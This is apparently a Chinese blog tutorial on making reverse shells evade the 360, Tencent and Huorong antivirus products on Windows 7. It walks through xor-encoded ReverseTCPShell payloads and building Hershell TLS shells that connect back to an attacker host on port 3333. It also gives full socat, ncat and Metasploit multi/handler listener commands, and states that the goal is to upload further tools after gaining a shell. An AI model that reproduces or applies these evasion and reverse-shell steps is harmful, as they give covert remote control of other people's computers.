事情起因#
使用的是前面文章nps_payload的三件套環境,配置如下:
- Win7 SP1 build 7601
- windows 防火牆打開
- 360 殺毒正式版 5.0.0.8170
- 腾讯電腦管家 13.3.20238.213
- 火绒 5.0.36.16
ReverseTCPShell C2#
首先從github 地址下載ReverseTCP.ps1文件並使用powershell打開
設置LHOST和LPORT,會讓你選擇加密方式,默認有三種
- ASCII
- xor
- Base64
我這裡選擇了xor

自動生成了ps和cmd下的利用代碼,並且開始監聽LPORT

我們複製cmd代碼到win7上,成功免殺三件套獲得shell

可以執行簡單的命令ls,whoami,upload,download,screenshot

雖然執行的命令少,但至少目前是三件套免殺的,可以獲取到shell後上傳免殺滲透工具繼續滲透。
Hershell#
Hershell 是一款 go 語言編寫的多平台反向 shell 生成器,使用 tls 加密流量,並提供證書公鑰指紋固定功能,防止流量攔截。
這個工具需要go環境,如果已經安裝的可以跳過這部分
go 環境#
首先打開go環境下載的中文官網,獲取最新linux版本的go下載鏈接:
wget https://studygolang.com/dl/golang/go1.13.7.linux-amd64.tar.gz
sudo tar -xzf go1.13.7.linux-amd64.tar.gz -C /usr/local/
export GOROOT=/usr/local/go
export GOBIN=$GOROOT/bin
export PATH=$PATH:$GOBIN
export GOPATH=$HOME/gopath (可選設置)
go version查看是否安裝成功
使用#
拉取:
go get github.com/lesnuages/hershell
首先生成一個證書:
cd hershell
make depends

以 windows 為例,生成一個客戶端,其他平台同理:
make windows64 LHOST=192.168.1.18 LPORT=3333

得到的hershell.exe拷貝到目標主機上,實測360殺毒能夠查殺,火绒和腾讯沒問題
然後可以使用如下程序開始監聽:
- socat
- ncat
- openssl server module
- metasploit multi handler(python/shell_reverse_tcp_ssl payload)
我個人推薦使用socat,命令如下:
socat openssl-listen:3333,reuseaddr,cert=server.pem,cafile=server.key system:bash,pty,stderr
但我運行一直報錯:

只能使用ncat了,這個ncat可不是那個netcat的nc
安裝nmap即可使用,監聽命令為:
ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 3333

虛擬機上打開hershell.exe,ubuntu上即可接收到shell:

與 msf 互傳#
支持 msf 以下的 payload:
- windows/meterpreter/reverse_tcp
- windows/x64/meterpreter/reverse_tcp
- windows/meterpreter/reverse_http
- windows/x64/meterpreter/reverse_http
- windows/meterpreter/reverse_https
- windows/x64/meterpreter/reverse_https
那這裡就選擇 64 位的帶ssl的windows/x64/meterpreter/reverse_https吧
先把hershell生成的server.pem文件拷貝在msf所在主機上,然後msf開啟監聽:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
setg LHOST 192.168.1.2
setg LPORT 3333
set HandlerSSLCert /root/server.pem
exploit -j -z
這裡的ip和端口都是msf所在主機上的,可以隨便設置

然後 hershell 進行同傳:
[hershell]> meterpreter https 192.168.1.2:3333
![]()
實測沒有接收成功
參考文章:
本文完。